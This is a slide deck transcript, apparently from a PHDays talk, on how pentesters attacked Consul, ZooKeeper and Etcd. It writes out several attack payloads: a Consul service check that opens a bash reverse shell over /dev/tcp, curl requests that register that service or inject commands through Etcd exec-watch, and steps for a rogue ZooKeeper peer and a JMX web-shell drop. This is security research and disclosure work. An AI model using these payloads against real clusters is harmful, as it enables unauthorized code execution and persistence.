Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Как мы взломали распределенные системы конфигурационного управления


Published on

В лекции речь пойдет о том, как команда исследователей обнаружила и эксплуатировала уязвимости различных систем конфигурационного управления в ходе пентестов. Авторы представят различные инструменты распределенного управления конфигурациями, например Apache ZooKeeper, HashiCorp Consul и Serf, CoreOS Etcd; расскажут о способах создания отпечатков этих систем, а также о том, как использовать в своих целях типичные ошибки в конфигурации для увеличения площади атак.

Published in: Technology
  • Be the first to comment

Как мы взломали распределенные системы конфигурационного управления

  1. 1. How we hacked DCMs? Bharadwaj Machiraju (@tunnelshade_) Francis Alexander (@torque59)
  2. 2. #whoarewe ◦ FOSS & Python guys. ◦ Incase you use OWASP OWTF/NoSQL Exploitation Framework, buy us a beer. ◦ Appsec Engineers at Envestnet Yodlee (fintech). ◦ Mostly we will talk about some nice pwn stories.
  3. 3. DCM = Distributed Configuration Management
  4. 4. When dinosaurs were alive ... Application Server DatabaseUser
  5. 5. Present day scenario! API Gateway User Message Broker Microservice 1 Job Scheduler Microservice 2 Keystore Storage
  6. 6. General Necessity! ◦ Distributed nature of applications lead to the necessity of distributed configuration management for simplifying the process of ▫ Maintenance of infrastructure. ▫ Synchronization of processes. ▫ Service discovery.
  7. 7. General Our Necessity! ◦ Look cool in pentest reports!! ◦ As other application’s configurations are present here, it is a goldmine. ◦ And if you get to editing these configurations ...
  8. 8. Types of DCMs
  9. 9. 1. Ensemble Type ◦ Cluster of servers in sync. ◦ Queried by the applications for shared data. ◦ Apache Zookeeper & Etcd are popular examples. ◦ Sample Usage: Provide synchronization between processes.
  10. 10. 2. Agent Type ◦ A lightweight agent in every instance. ◦ Agents communicate using gossip protocol (a p2p protocol). ◦ Serf & Consul are popular examples. ◦ Sample Usage: Discover app instances and add them to load balancer. ◦ Our favorite type :D
  11. 11. HashiCorp
  12. 12. HashiCorp Consul ◦ Agent type. Built on top Serf. ◦ Provides service discovery. ◦ Uses a microservice interface to a replicated view of your topology and its configuration. ◦ Can monitor and change services topology based on health.
  13. 13. Consul Agent (Master & Slave) ◦ Has client and master modes. ◦ All nodes run an agent. ◦ Stays in sync, interface with REST and DHCP ◦ RAFT quorum, who is leader/master. ◦ Handles WAN gossip to other datacenters. ◦ Forwards queries to leader/master.
  14. 14. Security Overview ◦ No Authentication by default. ◦ Enumerate Services through HTTP API. ◦ SSRF feature/vulnerability. ◦ RCE through services and event firing.
  15. 15. Some Interesting API’s ◦ Agent HTTP Endpoint ▫ /v1/agent/checks : Returns the checks the local agent is managing ▫ /v1/agent/services : Returns the services the local agent is managing ◦ Coordinate HTTP Endpoint ▫ /v1/coordinate/datacenters : Queries for WAN coordinates of Consul servers.
  16. 16. SSRF With Join Endpoint ◦ Triggers the local agent to join a node. ◦ /v1/agent/join/<address> Final Payload http://localhost:8500/v1/agent/join/
  17. 17. Remote Code Execution - I ◦ Execute your code through events. ◦ Consul exec provides an interface to run these. How does it Work ◦ Create session: PUT /v1/session/create ◦ Create Rexec event: PUT /v1/kv/_rexec/job-uuid/job?acquire=job-uuid. ◦ Fire the event: PUT /v1/event/fire/_rexec
  18. 18. Remote Code Execution - I Final Payload ◦ consul exec -http-addr=remote_addr [whoami/payload]. ◦ If disable_remote_execution is enabled then we are out of luck (which mostly never happens though !!).
  19. 19. Demo
  20. 20. Remote Code Execution - II ◦ Execute your code by registering as services. ◦ We could then leverage checks to get our code executed. ◦ Services are synced and then executed. ◦ Once done with your work de-register and come out.
  21. 21. Remote Code Execution - II Registering a Service ◦ Sample Service:With Check { "ID": "http", "Name": "http", "Address": "", "Port": 80, "check": { "script": "bash -i >& /dev/tcp/ 0>&1", "interval": "10s" }
  22. 22. Remote Code Execution - II Final Payload ◦ Use Curl ▫ curl -X PUT --data-binary @test.json http://localhost:8500/v1/agent/service/regi ster ◦ Check : dig @ -p 8600 http.service.consul. ◦ Open netcat you should have your shell ready.
  23. 23. Remote Code Execution - II Final Thoughts. ◦ If not de-registered, the service should be running and you should have persistence. ◦ Deregistering is simple (/deregister/service-name)
  24. 24. Demo
  25. 25. Apache Zookeeper Because coordinating distributed applications is a zoo
  26. 26. Apache Zookeeper ◦ Ensemble type. ◦ Cluster of servers available to query. ◦ The name space provided is much like that of a standard file system. ◦ A name is a sequence of path elements separated by a slash (/). Every node is identified by a path.
  27. 27. It looks like (meh)
  28. 28. Hierarchical Namespace
  29. 29. Quorum Peer ◦ One server in quorum is called quorum peer. ◦ Each one has three ports open ▫ Intercom. ports (Default: 2888 & 3888) ▫ Client port (Default: 2181)
  30. 30. Simple API ◦ create/delete/exists node ◦ get/set data node ◦ get children node ◦ sync ◦ watch node ◦ Libs available in all languages exposing this api.
  31. 31. Auth? ◦ Optional Auth ← People are Lazy (Proof: Shodan) ◦ Different kinds of auth are supported. ◦ No auth is fine, but if auth then we need a way. ◦ Next logical step was to dive into internals of zk. ◦ For that
  32. 32. Installed Eclipse & configured JAVA
  33. 33. Let us try Hey man, where is the auth?
  34. 34. Bits and Pieces! ◦ Custom binary protocol using Apache Jute. ◦ Only one vulnerability known till date CVE-2015-5017 (Buffer Overflow in ZK C cli shell) ◦ But then ...
  35. 35. Hey, please sync with this latest data snapshot! Hi, I am your follower.
  36. 36. Rogue Quorum Peer <= 3.4.9 ◦ Introduce a rogue follower to quorum leader gives you access to data along with the auth info for certain auth providers. ◦ So, whenever you want to modify existing data, just resubmit the auth info along with write request to the leader. KABOOOM!!
  37. 37. Demo
  38. 38. Why is Zookeeper important? ◦ Used in many awesome products mainly from Apache. ◦ Apache HBase non related distributed db. ◦ Uses zk for synchronization.
  39. 39. HBase
  40. 40. Briefly, ◦ Every HMaster creates an ephemeral node and backup masters just wait. ◦ If you can bypass auth and write/delete this ephemeral node, you can add a rogue master. ◦ Give it time :P or force crash the old master for all region servers to connect to your rogue. ◦ Extrapolation of CVE-2015-1836.
  41. 41. Briefly
  42. 42. JMX and Zookeeper are Buddies ◦ Zookeeper runs JMX by default but on loopback. ◦ Instances having remotely accessible JMX are fun. ◦ End Result: Chain set of Bugs to RCE.
  43. 43. How we did it luckily!! ◦ Memory can be accessed through JMX which can be written to a file. ◦ We used Zookeeper to pop a php/jsp shell by creating a node with our code as its value. ◦ Multiple reads of the node makes it available in the memory. ◦ Dump to an executable location within the web server. PWN !!!
  44. 44. CoreOS
  45. 45. Architecture
  46. 46. Etcd Basics ◦ Nodes get Connected to the Main Server (Cluster) ◦ Stores data persistently ◦ Takes snapshots. ◦ Like a directory tree. ◦ Uses a discovery URL.
  47. 47. Etcd API ◦ put key value ◦ get key ◦ del --from-key a ◦ snapshot save snapshot.db ◦ watch Either use CURL or get yourself etcdctl
  48. 48. Inherent [In]security ◦ No Authentication by default. ◦ Authentication sucks if not implemented properly. ◦ HTTP Endpoints available at your disposal. ◦ RCE through un-authenticated instances when exposed with a feature.
  49. 49. But it is 2017 right!! ◦ Users and roles implemented in Etcd>=2.1 ◦ Auth can be switched on by enabling root user. ◦ But ... ◦ Guest account gets enabled by default. ◦ guest users have read and write privileges.
  50. 50. Use Case - Chain to RCE ◦ Etcd allows usage of watchers. ◦ Watch a node and execute commands ◦ We came across $ETCD_WATCH_VALUE ◦ We saw some pretty dumb implementations. ◦ Etcd does not filter values coming to ETCD_WATCH_VALUE
  51. 51. etcdctl exec-watch --recursive /foo_dir/foo --sh -c '$ETCD_WATCH_VALUE'
  52. 52. Let the request talk. curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT -d value="ls" Pwn !!
  53. 53. Brainstorm!!! ◦ Requires write operation, to write to the key, and we should probably have luck with monitoring using exec-watch, which most people do !!. ◦ Etcd is being used in Kubernetes. You cannot be more Evil.
  54. 54. Demo
  55. 55. Etcd is nice ◦ Some of the attacks, only applicable if instance is not authenticated. ◦ You can add rogue members. ◦ Check for health. ◦ Get the connected members’ list.
  56. 56. Lots of DCMs Pwnage Automation !!
  57. 57. Garfield ◦ Wannabe distributed application stack scanner. ◦ Currently supports DCMs - Zk, Etcd and Consul. Written in <3 with Python.
  58. 58. Demos
  59. 59. References ◦ CoreOS Etcd ( ◦ Apache Zookeeper ( ◦ Hashicorp Consul ( ◦ Zk ( Ongoing Work ◦ Not yet broken auth providers in zookeeper. ◦ Kubernetes access through etcd. ◦ Other distributed systems using zookeeper.
  60. 60. Shouts!! PhDays (y) Wonderful folks of #appsec@yodlee Kamaiah Nadavala Ajin Abraham
  61. 61. Thank You! Bharadwaj Machiraju @tunnelshade_ Francis Alexander @torque59